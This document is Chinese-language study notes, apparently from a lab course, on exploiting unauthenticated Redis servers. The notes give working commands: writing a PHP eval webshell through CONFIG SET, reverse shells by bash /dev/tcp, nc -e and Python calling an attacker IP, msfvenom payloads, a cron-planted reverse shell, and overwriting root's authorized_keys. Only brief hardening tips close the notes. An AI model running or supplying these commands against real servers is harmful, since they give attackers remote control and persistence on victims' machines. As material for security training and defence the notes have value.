Redis未授权访问
Redis常见用途
Redis在现代应用程序中有许多常见用途,包括但不限于以下几个方面:
- 缓存:Redis作为内存数据库,可以用作缓存层,提高应用程序的读取速度。通过将频繁访问的数据存储在Redis中,可以减少对后端数据库的访问次数,从而提高整体性能。
- 会话存储:将用户会话数据存储在Redis中可以实现快速的会话管理。这对于需要跨多个应用服务器共享会话数据的应用程序非常有用。
- 消息队列:Redis的发布/订阅功能可以用于构建轻量级消息队列系统。应用程序可以使用Redis作为消息代理,实现异步通信和任务队列。
- 实时数据分析:由于Redis的高性能和支持复杂数据结构的特性,它可以用于实时数据分析和计算。例如,存储实时日志数据、计算实时指标等。
- 计数器和排行榜:Redis的原子操作和有序集合结构使其非常适合实现计数器和排行榜功能。可以轻松地实现用户点赞数、文章浏览次数等功能。
- 地理位置应用:Redis的地理空间支持可以用于构建地理位置应用程序,如附近的人功能、地理位置搜索等。
- 实时聊天应用:Redis的发布/订阅功能和高性能使其成为构建实时聊天应用程序的理想选择。
Redis的常见数据类型
String:字符和整型
缓存
分布式session
分布式锁
全局ID
计数器
限流
Hash:哈希表
存储一个对象
存储一张表的数据
购物车
List:有序数组
消息列表
文章列表
评论列表
公告列表
活动列表
Set:无序集合
抽奖
点赞、签到打卡
商品标签
ZSet:有序集合 排行榜
Redis的一些关键特性包括:
- 内存数据存储:Redis将数据存储在内存中,对读写操作非常快速。
- 持久性:Redis允许将数据持久化到磁盘,确保数据的持久性和完整性。
- 数据结构:Redis支持各种数据结构,如字符串、列表、集合、有序集合、哈希等,提供了灵活的数据建模方式。
- 复制和集群:Redis支持复制和集群,以实现高可用性和可扩展性。
- 发布/订阅消息传递:Redis支持发布/订阅消息传递,使其成为构建实时应用程序的多功能工具。
- Lua脚本:Redis允许用户编写Lua脚本,在服务器上执行,从而实现原子操作
Redis服务端(靶机)
Redis客户端(攻击者)
Redis服务端
注释bind # bind 127.0.0.1
关闭保护模式 protected-mode no
默认不需要密码连接 #requirepass
root用户安装
其他如何客户端无需密码连接服务端
Redis持久化机制
Redis纯内存数据,内存数据如何可靠存储? 持久化机制
Redis.conf
RDB(默认)
save 3600 1 #自动触发规则 3600s至少有一个key修改,则将内存存入磁盘
dbfilename dump.rdb #文件名
dir ./ #存储地址
AOF
Redis动态修改配置
config set:动态修改配置,重启以后失效
config set dir /www/admin/localhost_80/wwwroot
将Redis的持久化数据文件存储目录设置为 /www/admin/localhost_80/wwwroot。
config set dbfilename redis.php
将Redis的持久化数据文件的文件名设置为 redis.php。
利用
攻击者可以对靶机任意文件写入任意内容
例如向redis.php写入php代码
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set aa "<?php?>"
Webshell提权
保存shell
redis-cli -h 192.168.142.66 -p 6379
set x "<?php @eval($_POST[wuya]); ?>"
config set dir /www/admin/localhost_80/wwwroot
Linux安装、启动phpStudy
config set dbfilename redis.php
save
中国蚁剑连接
http://192.168.142.66/upload/uploads/shell.php
反弹连接
如果没有监听80端口的HttP Server或者找不到网站的根路径?
为什么要用反弹连接?
反弹连接的原理是在目标系统上执行一个恶意程序,该程序会连接到攻击者控制的服务器上,从而使攻击者可以远程控制目标系统。
内网,私有IP
IP动态变化
6379端口不允许入方向
一句话木马被杀软删除、
如何实现
控制机如何监听一个端口(接受靶机返回数据)
靶机的端口怎样连接到控制机的端口
监听端口(攻击机执行)
netcat: nc -lvp 7777 (指定一个端口监听并给出输出)
msf
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.142.141 (本机IP)
set lport 7777
run
socat socat TCP-LISTEN:7777 (kali)
建立连接(靶机执行)
Linux bash: bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
这个命令是一个典型的反弹Shell命令,用于建立一个反向Shell连接到指定的IP地址和端口。它的作用是将Bash的标准输入(stdin)、标准输出(stdout)和标准错误(stderr)重定向到指定的IP地址和端口上。
具体来说,这个命令的含义是:
-i:表示以交互模式运行Bash,这样可以与Shell进行交互。
>& /dev/tcp/192.168.142.44/7777:将标准输出和标准错误重定向到指定IP地址(192.168.142.44)和端口(7777)。这部分实际上是在尝试建立一个TCP连接到指定的IP地址和端口。
0>&1:将标准输入重定向到标准输出,这样输入和输出都将通过TCP连接进行。
总的来说,这个命令的目的是在目标机器上建立一个反向Shell连接,使得攻击者可以通过指定的IP地址和端口远程控制目标机器。
netcat ; nc -e /bin/bash 192.168.142.44 7777
这个命令使用了nc(netcat)工具来建立一个反弹Shell连接到指定的IP地址和端口。具体来说,这个命令的含义是:
-e /bin/bash:在建立连接后,将远程主机的输入和输出重定向到/bin/bash,这样可以实现一个交互式的Bash Shell。
192.168.142.44:指定连接的目标IP地址为192.168.142.44。
7777:指定连接的目标端口为7777。
这个命令的作用是尝试通过nc工具在目标机器上执行/bin/bash,并将其输入和输出通过指定的IP地址和端口进行传输,从而实现远程Shell连接。
Python
python -c "importos,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.142.44',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"
导入了os、socket和subprocess模块。
创建了一个TCP套接字,并连接到指定的IP地址(192.168.142.44)和端口(7777)。
使用os.dup2()函数将套接字的文件描述符复制到标准输入、标准输出和标准错误。
使用subprocess.call()函数调用/bin/bash程序,并以交互模式运行。
建立连接(攻击者执行)
配合msf监听模块使用
msf
php:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.142.141 lport=7777 -o shell.php
案例:vulnhub-prime1
java:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.141 lport=7777 -f war -o
shell.war
案例:vulnhub-breach1
exe:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.141 lport=7777 -i 5 -f
exe -o test.exe
计划任务反弹shell
Linux定时任务
在Linux系统中,可以使用cron
服务来设置和管理定时任务。cron
是一个用于在指定时间执行命令或脚本的服务,它能够让用户在后台定期执行任务,无需手动操作。
以下是一些关于Linux定时任务的常用命令和操作:
-
crontab命令:
crontab
命令用于创建、编辑和查看用户的定时任务列表。删除 crontab -u root -r 添加 crontab -u root time.cron 列举 crontab -u root -l 编辑 crontab -u root -e
-
定时任务格式:定时任务的格式如下:
* * * * * command - - - - - | | | | | | | | | +----- 周几(0-7,0和7都表示星期日) | | | +------- 月份(1-12) | | +--------- 日期(1-31) | +----------- 小时(0-23) +------------- 分钟(0-59)
-
示例:以下是一些示例定时任务的设置:
0 1 * * * /path/to/script.sh
:每天凌晨1点执行脚本。*/15 * * * * /path/to/command
:每15分钟执行一次命令。0 0 * * 0 /path/to/weekly_script.sh
:每周日凌晨执行周任务脚本。
-
系统定时任务:系统中还有一个特殊的定时任务目录
/etc/cron.d/
,可以存放系统级别的定时任务。 -
日志:定时任务执行的结果会记录在日志文件中,可以查看
/var/log/syslog
或者/var/log/cron
来查看定时任务执行情况。 -
cron存储路径
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab /etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly
Redis命令
set x "\n* * * * * bash -i >& /dev/tcp/192.168.142.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
这段代码尝试通过Redis的CONFIG SET命令来修改Cron定时任务的配置,将一个反弹Shell的Cron任务添加到指定的目录/var/spool/cron/中。具体来说,这段代码的作用是:
将字符串"\n* * * * * bash -i >& /dev/tcp/192.168.142.44/7777 0>&1\n"赋值给变量x,该字符串包含一个Cron表达式,用于在每分钟执行一个反弹Shell连接到指定的IP地址和端口。
使用Redis的CONFIG SET命令分别设置了dir和dbfilename的值:
config set dir /var/spool/cron/:将Cron定时任务的目录设置为/var/spool/cron/。
config set dbfilename root:将数据库文件名设置为root。
最后使用save命令来保存配置更改。
SSH key免密登录
免密登录原理
1、客户端生成密钥对(公钥、私钥)
2、客户端把公钥发给服务端保存(正常情况需要密码)
3、客户端用私钥加密消息,发给服务端
4、服务端用公钥解密,解密成功,说明密钥匹配
5、客户端免密登录成功
客户端:xshell(控制机)
服务端:靶机
常规流程
控制机生成密钥对 ssh-keygen 一路回车
ls -a (.ssh)
cd .ssh (id_rsa,id_rsa.pub) (私钥,公钥)
控制机发送公钥 ssh-copy-id root@192.168.142.66
公钥在靶机保存位置 $HOME/.ssh/authorized_keys
控制机利用公钥连接 ssh -i ./id_rsa root@192.168.142.66
Redis命令
set xxx "\n\n\aaaaaaaaaaaaa\n\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save
这段代码尝试使用Redis的CONFIG SET命令来修改Redis的配置,将一些数据写入到指定目录下的文件中。具体来说,这段代码的作用是:
将字符串"\n\n\aaaaaaaaaaaaa\n\n\n"赋值给变量xxx,该字符串包含一些换行符和字符a,用于在文件中写入一些内容。
使用Redis的CONFIG SET命令分别设置了dir和dbfilename的值:
config set dir /root/.ssh:将目录设置为/root/.ssh,即root用户的SSH目录。
config set dbfilename authorized_keys:将数据库文件名设置为authorized_keys,即SSH公钥文件。
最后使用save命令来保存配置更改。
redis 加固方案
限制访问ip:通过防火墙或网络ACL等方式,限制只有特定IP地址或IP地址段可以访问Redis服务器。
修改默认端口;将Redis服务器的默认端口(6379)修改为其他非常用端口,以减少被扫描和攻击的风险。